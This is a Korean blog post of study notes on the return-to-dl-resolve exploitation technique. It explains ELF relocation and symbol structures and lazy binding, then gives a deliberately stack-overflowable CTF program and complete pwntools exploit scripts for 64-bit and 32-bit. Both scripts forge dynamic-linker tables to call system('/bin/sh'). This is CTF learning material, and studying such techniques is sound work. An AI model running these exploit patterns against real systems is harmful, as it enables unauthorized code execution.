return-to-dynamic-linker
x86
- Elf32_Rel (8 byte)
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
- Elf32_Sym (16 byte)
xxxxxxxxxx
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
x64
- Elf64_Rela (24 byte)
xxxxxxxxxx
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
- Elf64_Sym (24 byte)
xtypedef uint32_t Elf64_Word;
typedef uint16_t Elf64_Section;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */4
unsigned char st_info; /* Symbol type and binding */1
unsigned char st_other; /* Symbol visibility */1
Elf64_Section st_shndx; /* Section index */2
Elf64_Addr st_value; /* Symbol value */8
Elf64_Xword st_size; /* Symbol size */8
} Elf64_Sym;
lazy binding
을 악용하여 공격할 수 있는 기법이다.
이에 쓰이는 JMPREL
, SYMTAB
의 구조는 위와 같고 이를 공격하는 것이다!
일단 64비트 기준으로 lazy binding
과정을 간단하게 설명하면 다음과 같다.
dl_resolve(link_map, reloc_offset)
reloc_offset
을 참조하여JMPREL
접근
JMPREL + reloc_offset*24(r_offset, r_info)
r_info
를 참조하여SYMTAB
접근
SYMTAB + r_info*24(st_name, st_info, st_shndx, st_value, st_size)
st_name
을 참조하여STRTAB
접근
STRTAB+st_name
- 최종적으로 부를 함수의 이름을 가져옴
가져온 함수의 실제 라이브러리 영역으로 점프
좀 많이 이상하게 설명한 것 같은데.. 일단 내가 볼거니 추후 수정하도록 하겠다.
64비트 ret2dl
의 경우 version
확인 코드를 우회해야 한다. 즉, 32비트 ret2dl
과 다르게 libc
를 leak
해야 한다..
dt_versym
을 0
으로 때려버리면 나머지는 32비트와 똑같다.
예제로는 https://1ce0ear.github.io/2017/10/20/return-to-dl/ 여기의 bug.c
를 64비트 ret2dl
로 한 번 풀어보았다.
xxxxxxxxxx
//gcc bug.c -fno-stack-protector -m64 -no-pie -o bug
void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
xxxxxxxxxx
from pwn import *
e = ELF('bug')
s = process(e.path)
l =ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
jmprel = e.get_section_by_name('.rela.plt').header['sh_addr']
symtab = e.get_section_by_name('.dynsym').header['sh_addr']
strtab = e.get_section_by_name('.dynstr').header['sh_addr']
log.info('jmprel: {}'.format(hex(jmprel)))
log.info('symtab: {}'.format(hex(symtab)))
log.info('strtab: {}'.format(hex(strtab)))
got = e.get_section_by_name('.got.plt').header['sh_addr']
dl_resolve = e.get_section_by_name('.plt').header['sh_addr']
bss = e.get_section_by_name('.bss').header['sh_addr']
read_got = e.got['read']
write_got = e.got['write']
csu_set = 0x4012b2
csu_call = 0x401298
prbp = 0x0000000000401139
prdi = 0x4012bb
prsi_r15 = 0x4012b9
leave_ret = 0x401187
context.arch = 'amd64'
def call(got, rdi, rsi, rdx):
pay = p64(csu_set)
pay += flat(0, 1, got, rdi, rsi, rdx)
pay += p64(csu_call)
pay += "A"*0x10
pay += p64(bss+0x800-8)
pay += "A"*0x20
return pay
pay = "A"*120
pay += call(write_got, 1, got+8, 8)
pay += call(read_got, 0, bss+0x800, 0x200)
pay += p64(leave_ret)
sa('!\n', pay)
link_map = u64(s.recv(8))
dt_versym = link_map + 0x1c8
log.info('dt_versym: {}'.format(hex(dt_versym)))
log.info('dl_resolve: {}'.format(hex(dl_resolve)))
pay = call(write_got, 0, dt_versym, 8)
fake_jmprel = 0x404900
reloc_offset = (fake_jmprel - jmprel) // 24 # bss = fake_jmprel addr
pay += flat(prdi, 0x40492f)
pay += p64(dl_resolve)
pay += p64(reloc_offset)
pay += p64(0) # padding
fake_symtab = 0x404918
r_info = ((fake_symtab - symtab) // 24) << 32 # bss = fake_symtab addr
r_info |= 0x7
pay += flat(read_got, r_info, 0)
fake_strtab = 0x404928
st_name = fake_strtab - strtab # bss = fake_strtab addr
pay += p32(st_name) + p32(0x12)
pay += flat(0, 0)
pay += p64(0)
pay += "system\x00"
pay += "/bin/sh\x00"
sleep(0.1)
s.send(pay)
sleep(0.1)
s.send(p64(0))
io()
32비트 버전도 한 번 풀어보았다.
32비트는 dt_versym
이 문제가 없을 줄 알았는데 문제가 있어서 이거때문에 삽질을 정말 많이했다..
xxxxxxxxxx
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
...
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
위 코드가 dt_versym
을 체크하는 코드다.
&l->l_versions[ndx]
에 접근하면서 터지는데, 이는 bss+0x200
같이 적은 곳에 쓰는게 아니라 bss+0x800
같이 높은 곳에 써주면 해결된다.
왜 그런지 이유는 모르겠다.. 왜냐면 저 메모리는 readonly
라서 바뀔리가 없기 때문이다..
어쨋든 일단 32비트로도 풀어봤다.
xxxxxxxxxx
//gcc bug.c -fno-stack-protector -m32 -no-pie -o bug
void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 400);
}
int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
xxxxxxxxxx
from pwn import *
#context.log_level= 'debug'
e = ELF('bug')
s = process(e.path)
l = ELF('/lib32/libc.so.6', checksec=False)
#l = ELF('1', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
jmprel = e.get_section_by_name('.rel.plt')['sh_addr']
symtab = e.get_section_by_name('.dynsym')['sh_addr']
strtab = e.get_section_by_name('.dynstr')['sh_addr']
log.info('jmprel: {}'.format(hex(jmprel)))
log.info('symtab: {}'.format(hex(symtab)))
log.info('strtab: {}'.format(hex(strtab)))
bss = e.get_section_by_name('.bss')['sh_addr']
dl_resolve = e.get_section_by_name('.plt')['sh_addr']
log.info('dl_resolve: {}'.format(hex(dl_resolve)))
p3ret = 0x8048619
p2ret = 0x804861a
pret = 0x8048379
leave_ret = 0x8048458
pebp = 0x0804861b
context.arch = 'i386'
pay = 'A'*(0x6c+4)
pay += p32(e.plt['read'])
pay += p32(p3ret)
pay += flat(0, bss+0x800, 0x100)
pay += flat(pebp, bss+0x800-4)
pay += p32(leave_ret)
sla('!\n', pay)
reloc_offset = 0x804a850 - jmprel # bss = fake_jmprel addr
pay = p32(dl_resolve)
pay += p32(reloc_offset)
pay += "AAAA"
pay += p32(0x804a87f-16) # /bin/sh addr
r_info = ((0x804a858 - symtab)*0x10)&~0xff # bss = fake_symtab addr
r_info |= 0x7
pay += p32(e.got['write'])
pay += p32(r_info)
st_name = 0x804a868 - strtab # bss = fake_strtab addr
pay += p32(st_name)
pay += p32(0)*2
pay += p32(0x12)
pay += "system\x00"
pay += "/bin/sh\x00"
sleep(0.1)
s.send(pay)
io()
ref
https://1ce0ear.github.io/2017/10/20/return-to-dl/
https://www.lazenca.net/display/TEC/01.Return-to-dl-resolve+-+x86
https://www.lazenca.net/pages/viewpage.action?pageId=19300744
'system > material' 카테고리의 다른 글
peda special instruction (0) | 2019.11.11 |
---|---|
linux kernel module 작성해보기 (0) | 2019.11.11 |
unsortedbinbin_attck died.. (0) | 2019.11.05 |
linux file structure attack (0) | 2019.10.28 |
ethereum assembly analysis using remix DEBUGGER plugin (0) | 2019.10.16 |